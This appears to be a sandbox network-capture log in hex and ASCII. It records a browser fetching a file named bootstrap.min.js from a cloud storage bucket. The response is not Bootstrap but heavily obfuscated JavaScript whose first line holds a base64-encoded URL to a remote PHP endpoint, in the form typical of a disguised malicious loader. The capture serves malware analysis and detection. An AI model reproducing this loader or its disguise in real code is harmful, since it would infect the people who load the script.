2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:21:51 UTC	667	OUT	GET /attach%2Fbootstrap.min.js HTTP/1.1 Host: 6063680314-1317754460.cos.ap-bangkok.myqcloud.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:21:52 UTC	426	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 549824 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 17 Apr 2025 13:21:51 GMT ETag: "511a95260614a74d5ed92ad53b87ecd0" Last-Modified: Tue, 25 Mar 2025 23:33:20 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 10015513743776659730 x-cos-request-id: NjgwMTAwNmZfNTA5MDExMDlfODRkZV83YWUwYjI1
2025-04-17 13:21:52 UTC	7778	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 68 62 47 56 34 4c 6d 31 6c 63 6d 46 32 61 57 64 73 61 57 45 75 61 58 51 75 59 32 39 74 4c 79 39 6e 62 32 39 6e 62 47 55 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 38 36 38 34 39 3d 5f 30 78 33 35 32 39 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 38 36 65 38 31 2c 5f 30 78 33 38 30 61 63 62 29 7b 76 61 72 20 5f 30 78 33 34 61 31 31 63 3d 5f 30 78 33 35 32 39 2c 5f 30 78 65 66 30 65 32 33 3d 5f 30 78 31 38 36 65 38 31 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 33 35 61 34 39 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 34 61 31 31 63 28 30 78 32 61 39 29 29 2f 28 30 78 31 65 33 31 2b 30 78 31 33 34 2a 2d 30 78 31 36 2b 2d 30 78 33 62 38 29 Data Ascii: var file = "aHR0cHM6Ly9hbGV4Lm1lcmF2aWdsaWEuaXQuY29tLy9nb29nbGUucGhw";var _0x586849=_0x3529;(function(_0x186e81,_0x380acb){var _0x34a11c=_0x3529,_0xef0e23=_0x186e81();while(!![]){try{var _0x535a49=parseInt(_0x34a11c(0x2a9))/(0x1e31+0x134*-0x16+-0x3b8)
2025-04-17 13:21:52 UTC	8184	IN	Data Raw: 5d 2c 27 73 75 63 63 65 73 73 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 65 64 38 34 61 29 7b 76 61 72 20 5f 30 78 33 62 31 63 37 34 3d 5f 30 78 31 64 36 35 32 37 3b 69 66 28 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 34 62 64 29 5d 28 5f 30 78 34 65 64 38 34 61 5b 5f 30 78 33 62 31 63 37 34 28 30 78 32 39 66 29 5d 2c 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 31 62 37 31 29 5d 29 29 7b 76 61 72 20 5f 30 78 33 32 61 36 63 32 3d 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 32 63 34 29 5d 5b 5f 30 78 33 62 31 63 37 34 28 30 78 38 39 35 29 5d 28 27 7c 27 29 2c 5f 30 78 32 64 65 34 63 35 3d 30 78 61 32 31 2a 30 78 33 2b 30 78 31 31 32 38 2b 2d 30 78 32 66 38 62 3b 77 68 69 6c 65 28 21 21 5b Data Ascii: ],'success':function(_0x4ed84a){var _0x3b1c74=_0x1d6527;if(_0x132255[_0x3b1c74(0x4bd)](_0x4ed84a[_0x3b1c74(0x29f)],_0x132255[_0x3b1c74(0x1b71)])){var _0x32a6c2=_0x132255[_0x3b1c74(0x2c4)][_0x3b1c74(0x895)]('\|'),_0x2de4c5=0xa21*0x3+0x1128+-0x2f8b;while(!![
2025-04-17 13:21:52 UTC	16368	IN	Data Raw: 63 28 30 78 31 35 39 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 31 38 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 31 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 38 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 33 66 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 30 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 30 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 34 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 39 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 39 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 37 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 32 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 62 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 31 38 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 36 30 39 29 Data Ascii: c(0x159c)+_0x27ef6c(0x2186)+_0x27ef6c(0x1310)+_0x27ef6c(0x1b80)+_0x27ef6c(0x3f3)+_0x27ef6c(0xf03)+_0x27ef6c(0x1304)+_0x27ef6c(0x1145)+_0x27ef6c(0x9fa)+_0x27ef6c(0x1997)+_0x27ef6c(0x477)+_0x27ef6c(0x82c)+_0x27ef6c(0xfb1)+_0x27ef6c(0x2186)+_0x27ef6c(0x1609)
2025-04-17 13:21:52 UTC	8184	IN	Data Raw: 78 32 37 65 66 36 63 28 30 78 34 64 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 30 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 35 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 63 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 61 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 32 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 65 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 64 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 35 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 36 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 Data Ascii: x27ef6c(0x4d9)+_0x27ef6c(0x1c00)+_0x27ef6c(0x1e9)+_0x27ef6c(0x2353)+_0x27ef6c(0x11c7)+_0x27ef6c(0x20aa)+_0x27ef6c(0x152b)+_0x27ef6c(0xd08)+_0x27ef6c(0x4ef)+_0x27ef6c(0x6b7)+_0x27ef6c(0x1ed1)+_0x27ef6c(0x1e6)+_0x27ef6c(0x556)+_0x27ef6c(0x161)+_0x27ef6c(0xf
2025-04-17 13:21:52 UTC	8184	IN	Data Raw: 36 63 28 30 78 31 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 37 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 61 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 62 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 38 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 32 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 36 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 33 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 36 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 38 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 62 32 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 64 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 32 Data Ascii: 6c(0x1ba)+_0x27ef6c(0x2ab7)+_0x27ef6c(0x677)+_0x27ef6c(0x28bb)+_0x27ef6c(0xa49)+_0x27ef6c(0x1db6)+_0x27ef6c(0x2687)+_0x27ef6c(0x2820)+_0x27ef6c(0x56d)+_0x27ef6c(0x2035)+_0x27ef6c(0x186f)+_0x27ef6c(0x268d)+_0x27ef6c(0x2b25)+_0x27ef6c(0x26dc)+_0x27ef6c(0x22
2025-04-17 13:21:52 UTC	8184	IN	Data Raw: 78 32 61 30 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 35 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 64 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 63 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 66 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 33 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 66 37 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 32 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 62 35 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 66 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 62 64 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 32 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 39 65 29 2b Data Ascii: x2a0c)+_0x27ef6c(0xf52)+_0x27ef6c(0x14d7)+_0x27ef6c(0x1ba)+_0x27ef6c(0x10ce)+_0x27ef6c(0x4fe)+_0x27ef6c(0x1e31)+_0x27ef6c(0x1b1c)+_0x27ef6c(0x1f70)+_0x27ef6c(0x1126)+_0x27ef6c(0x2b51)+_0x27ef6c(0x1bf9)+_0x27ef6c(0xbdb)+_0x27ef6c(0x2328)+_0x27ef6c(0x189e)+
2025-04-17 13:21:52 UTC	8184	IN	Data Raw: 78 32 61 30 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 63 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 32 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 64 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 65 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 36 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 33 35 33 29 29 2b 28 5f 30 78 32 37 65 66 36 63 28 30 78 33 62 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 30 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 37 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 35 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 36 61 33 29 2b Data Ascii: x2a04)+_0x27ef6c(0x2acd)+_0x27ef6c(0x723)+_0x27ef6c(0xfd4)+_0x27ef6c(0x1b1f)+_0x27ef6c(0x1ee7)+_0x27ef6c(0x1b69)+_0x27ef6c(0x1d26)+_0x27ef6c(0x353))+(_0x27ef6c(0x3b3)+_0x27ef6c(0x409)+_0x27ef6c(0x1075)+_0x27ef6c(0x1050)+_0x27ef6c(0x1b1)+_0x27ef6c(0x16a3)+
2025-04-17 13:21:52 UTC	8184	IN	Data Raw: 37 36 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 37 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 64 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 34 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 35 61 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 30 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 36 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 61 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 33 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 62 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 30 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 39 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 38 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 34 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 39 63 39 29 2b 5f 30 78 32 Data Ascii: 766)+_0x27ef6c(0x57f)+_0x27ef6c(0x24dd)+_0x27ef6c(0x134f)+_0x27ef6c(0x25ad)+_0x27ef6c(0x240f)+_0x27ef6c(0x1464)+_0x27ef6c(0x28a1)+_0x27ef6c(0x639)+_0x27ef6c(0x4b1)+_0x27ef6c(0x260a)+_0x27ef6c(0x892)+_0x27ef6c(0x1d8d)+_0x27ef6c(0x642)+_0x27ef6c(0x9c9)+_0x2
2025-04-17 13:21:52 UTC	8184	IN	Data Raw: 66 36 63 28 30 78 32 38 35 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 61 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 34 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 37 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 39 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 32 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 35 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 32 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 65 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 30 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 37 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 61 Data Ascii: f6c(0x2859)+_0x27ef6c(0x26e)+_0x27ef6c(0xda7)+_0x27ef6c(0x2308)+_0x27ef6c(0x2342)+_0x27ef6c(0x2671)+_0x27ef6c(0x1593)+_0x27ef6c(0x1c2a)+_0x27ef6c(0xf5d)+_0x27ef6c(0x189)+_0x27ef6c(0x1e28)+_0x27ef6c(0x19e8)+_0x27ef6c(0x1c0a)+_0x27ef6c(0xd72)+_0x27ef6c(0x1a
2025-04-17 13:21:52 UTC	8184	IN	Data Raw: 37 65 66 36 63 28 30 78 32 33 31 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 32 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 66 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 39 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 37 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 39 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 66 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 61 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 34 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 65 61 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 62 31 29 2b 5f 30 78 32 37 65 66 36 63 28 Data Ascii: 7ef6c(0x2312)+_0x27ef6c(0x142c)+_0x27ef6c(0x28be)+_0x27ef6c(0x17f1)+_0x27ef6c(0x1291)+_0x27ef6c(0x1d2e)+_0x27ef6c(0x8fa)+_0x27ef6c(0x1579)+_0x27ef6c(0x1c92)+_0x27ef6c(0x7f0)+_0x27ef6c(0x17a4)+_0x27ef6c(0x2342)+_0x27ef6c(0xeac)+_0x27ef6c(0x13b1)+_0x27ef6c(

Timestamp	Bytes transferred	Direction	Data
